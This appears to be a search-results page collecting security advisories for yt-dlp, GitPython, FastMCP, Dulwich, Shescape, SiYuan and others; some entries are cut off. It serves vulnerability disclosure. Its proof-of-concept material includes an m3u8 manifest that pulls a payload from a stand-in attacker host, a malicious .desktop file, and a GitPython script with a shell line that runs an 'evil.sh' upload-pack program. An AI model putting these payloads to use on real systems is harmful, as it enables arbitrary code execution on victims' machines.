Search: at.exe

OpenClaw CLI on Windows contains a command injection vulnerability in a fallback path where the Lobster extension retries certain spawn failures using a shell. This fallback interprets tool-provided arguments via cmd.exe, potentially allowing command injection. The issue affects versions from 2026.1.21 through 2026.2.17 and is fixed in version 2026.2.19 by removing the shell fallback and enforcing safer execution methods.

CVE-2024-22190 is a vulnerability in nbdime affecting Windows platforms where GitPython uses an untrusted search path to run git or bash.exe, allowing arbitrary code execution. This occurs when GitPython runs git commands through a shell or runs hook scripts using bash.exe without properly restricting the search path. Malicious executables named git.exe or bash.exe placed in a repository or working directory can be executed unintentionally. The vulnerability is a partial regression of CVE-2023-40590 and affects nbdime versions from 1.1.0 up to but not including 4.0.1_1. A fix is available in version 4.0.1_1.

### Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`. ### Details The fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download. Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI="http://attacker/x.desktop"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option. Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments. While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution. ### Proof of Concept **1. Start a malicious server:** Host a malicious `master.m3u8` manifest that points to malicious subtitle payloads: ```m3u8 #EXTM3U #EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en" ``` And host the `payload.desktop` file with malicious content: ```ini [Desktop Entry] Type=Application Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)" Name=Subtitle ``` **2. Trigger the download:** In this case, the generic extractor triggers the exploit if the `--write-subs` option is used: ```bash yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8" ``` **Result:** yt-dlp writes `MyVideo.en.desktop` to disk, containing the attacker payload. ### Patches yt-dlp version 2026.06.09 fixes this issue by removing `.url`, `.desktop` and `.webloc` from the global file extension allowlist, and by only allowing those file types to be written from within the context of the `--write-link` options' functionality. ### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. Users who are not able to upgrade should do ALL of the following: - Only pass fully **trusted** input URLs to yt-dlp - Do not use the `--write-subs`, `--write-auto-subs`, `--embed-subs`, `--write-thumbnail`, `--write-all-thumbnails`, or `--embed-thumbnail` options - Use `--format -` to interactively select download formats and validate their file extensions

### Summary If aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp. ### Details When downloading a fragmented manifest format such as an HLS or DASH stream, yt-dlp first extracts a list of all fragment URLs from the stream's manifest. If the user has selected aria2c as an external downloader, yt-dlp then constructs an input file for aria2c from the fragment URL list and passes its filepath as the argument to aria2c's `-i` option. aria2c's `-i` (or `--input-file`) option allows for downloading a list of URIs from the given text file. The text file must be formatted as a list of URIs separated by newlines. aria2c's format permits configuration lines for each URI, which can contain command-line options to be given to aria2c. These optional lines follow each URI line and are signified only by leading whitespace. yt-dlp constructs the input file with these optional lines so that it's able to specify the output filename for each fragment using the `out=` option. yt-dlp's utilization of the aria2c input file format presents two known attack vectors: 1. An attacker can craft a malicious DASH manifest with one or more fragment URLs that contain `
`, which is the HTML escape sequence for a newline. yt-dlp interprets this escape sequence as an actual newline character when writing the fragment URLs to the aria2c input file, which allows for an attacker to inject arbitrary aria2c options into the input file. With option injection, the attacker can achieve arbitrary file writes. This attack vector is possible only via downloads of DASH formats, since their manifests are an XML format which necessitates unescaping of HTML special characters. 2. An attacker can craft a malicious metadata response where the data parsed by yt-dlp as the `title` field (or any other metadata field that the user includes in their output template) contains strategically placed newlines and magnet URIs. If the user has passed the `--no-windows-filename` option to disable sanitization of newlines in output filenames, the attacker is able to achieve arbitrary file writes by injecting arbitrary URIs and options into the aria2c input file. This attack vector is possible via downloads of both HLS and DASH formats. On Windows, attacker-controlled file writes can lead to immediate arbitrary code execution: the attacker could write a malicious executable file named `ffmpeg.exe` to the current working directory, and it could be invoked during the postprocessing stage if the user's `yt-dlp.exe` also resides in the current working directory. On all platforms, attacker-controlled file writes can lead to arbitrary code execution on repeat invocations of yt-dlp: the attacker could write a yt-dlp configuration file (`yt-dlp.conf`) to the current working directory containing a malicious `--exec` argument. ### Patches yt-dlp version 2026.06.09 fixes this issue by removing support for downloading fragmented manifest formats with aria2c. ### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. For users who are not able to upgrade: - Add `--downloader dash,m3u8:native` to your yt-dlp command.

## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ### The asymmetry (root cause) ```python # git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire

A command injection vulnerability exists in FastMCP when installing the claude-code or gemini-cli tools on Windows. Server names containing shell metacharacters such as '&' can cause arbitrary command execution due to how Windows .cmd wrappers are invoked via cmd.exe. This affects FastMCP versions from 0.11.9 up to but not including 0.23.0. The issue does not affect macOS or Linux, nor config-file-based install targets. The vulnerability is patched in version 0.23.0 by validating server names to reject shell metacharacters.

A command injection vulnerability exists in the FastMCP Cursor installer component of mcp-atlassian versions 0.11.9 and 0.11.10. The vulnerability allows an attacker who can control the server_name parameter to execute arbitrary OS commands on Windows hosts running the affected software. This occurs because server_name is embedded without sanitization into a shell command executed with cmd.exe /c start, enabling command injection via Windows command metacharacters. The issue is fixed in version 0.11.11.

## Impact Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows. Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax: - \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree. - : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check. - git~<digits> — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted. Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected. Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication. ## Patches Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later. The fix lives in three commits: - Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored. - Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1. - Reject \, :, and all git~<digits> 8.3 short-name forms in validate_path_element_ntfs. ## Workarounds There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required. ## Resources - Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path) - CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default - CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Shescape is a simple shell escape library for JavaScript. Prior to 2.1.14 and 3.0.1, getEscapeFunction in src/internal/win/cmd.js does not escape `(` and `)` when applications use the escape or escapeAll APIs on Windows with shell set to cmd.exe, or with shell set to true when CMD is the default. An attacker-controlled argument can break out of a parenthesized CMD construct and inject shell syntax depending on the original command, resulting in arbitrary command execution. This issue is fixed in versions 2.1.14 and 3.0.1.

**CVE:** This vulnerability corresponds to [CVE-2026-72793](https://nvd.nist.gov/vuln/detail/CVE-2026-72793). ### Summary `/api/system/getConf` is registered with `CheckAuth` only and is reachable by the publish `RoleReader` token, and anonymously when `Publish.Auth.Enable` is `false`. Its non-administrator masking chain is a blocklist that enumerates fields individually. Three fields that the configuration-export endpoint in the same file deliberately clears are absent from that blocklist and are returned to readers: | Field | JSON | What it is | Cleared by `exportConf` at | |---|---|---|---| | `Conf.CookieKey` | `cookieKey` | The session-cookie signing key | `kernel/api/system.go:360` | | `Conf.Export.PandocBin` | `export.pandocBin` | Absolute path embedding the OS username | `kernel/api/system.go:338` | | `Conf.NotebookCrypto` | `notebookCrypto` | Encrypted-notebook key material | `kernel/api/system.go:360` | The project has already classified all three as values that must not leave the server. The reader-facing path returns them. ### Details **Route.** `kernel/api/router.go:70` : `POST /api/system/getConf` → `model.CheckAuth` → `getConf`. No `CheckReadonly`, no `CheckAdminRole`. **The masking chain, and what each stage covers.** `getConf` masks through `GetMaskedConf()` → `HideConfSecret()` (non-administrators) → `FilterConfByPublishIgnore()` (readers) → a browser-request path strip. - `GetMaskedConf`: `UserData`, `MCPOAuth`, `AccessAuthCode`. - `HideConfSecret`: `AI`, `Api`, `Flashcard`, `ServerAddrs`, `Publish`, `Repo`, `Sync`, `Secrets`, `Variables`, and the System paths. No reference to `CookieKey` or `Export.PandocBin`. - `FilterConfByPublishIgnore`: `UILayout` only. - Browser strip (`kernel/api/system.go:630-631`): System paths only. Each stage names fields explicitly, so any field nobody thought to add is returned by default. --- **1. `CookieKey`: the live session-signing key.** The value is passed straight into the session store at startup: ``` cli/cmd/serve.go:67 go server.Serve(false, model.Conf.CookieKey) kernel/server/serve.go:152 sessionStore = cookie.NewStore([]byte(cookieKey)) kernel/server/serve.go:159 ginServer.Use(sessions.Sessions("siyuan", sessionStore)) ``` `gin-contrib/sessions/cookie.NewStore` constructed with a single key uses that key as the `gorilla/securecookie` HMAC key. The `siyuan` session cookie is signed with the value this endpoint hands out, so an attacker holding it can mint and modify session cookies the server accepts as authentic. Escalating a forged session to administrator additionally requires the forged `SessionData` to carry the matching `AccessAuthCode` which *is* masked or the instance to have no access-auth code configured, which is a common deployment. The unconditional impact, present on every instance, is disclosure of a persistent cryptographic secret to an unauthenticated party. Rotating it invalidates every active session, so it cannot be quietly refreshed. --- **2. `Export.PandocBin`: bypasses a shipped privacy control.** The field is an absolute path that embeds the OS username by construction: ``` conf/export.go:35 PandocBin string `json:"pandocBin"` model/conf.go:430-431 if "" == Conf.Export.PandocBin { Conf.Export.PandocBin = util.PandocBinPath } util/pandoc.go:154 PandocBinPath = filepath.Join(tempPandocDir, "bin", "pandoc.exe") util/pandoc.go:134 tempPandocDir = filepath.Join(TempDir, "pandoc") util/working.go:359 TempDir = filepath.Join(WorkspaceDir, "temp") util/working.go:312 defaultWorkspaceDir = filepath.Join(userProfile, "SiYuan") ``` → `C:\Users\<username>\SiYuan\temp\pandoc\bin\pandoc.exe` This one is notable beyond the disclosure itself, because a control was shipped specifically to prevent it. `kernel/api/system.go:630` adds, for browser requests: ```go if util.IsBrowserRequest(c) { maskedConf.System.WorkspaceDir = "" maskedConf.System.AppDir = "" maskedConf.System.ConfDir = "" maskedConf.System.DataDir = "" maskedConf.System.HomeDir = "" } // 避免泄露用户名等敏感信息 ``` The comment states the goal plainly: avoid leaking the username and other sensitive information. The block enumerates only `System.*` and misses `Export.PandocBin`, which carries the same username through the same response. A publish reader is a browser request, so the System paths are blanked while `export.pandocBin` passes through intact. Where an administrator has configured a custom pandoc location, that path is disclosed instead still a filesystem-layout disclosure. --- **3. `NotebookCrypto`.** Encrypted-notebook key material is likewise absent from `HideConfSecret` while `exportConf` sets it to `nil`. Reported previously and included here only because it is the third instance of the same root cause; the fix below closes all three together. --- **The root cause is the blocklist itself.** `exportConf` (`kernel/api/system.go:299`) clones the configuration and clears each secret before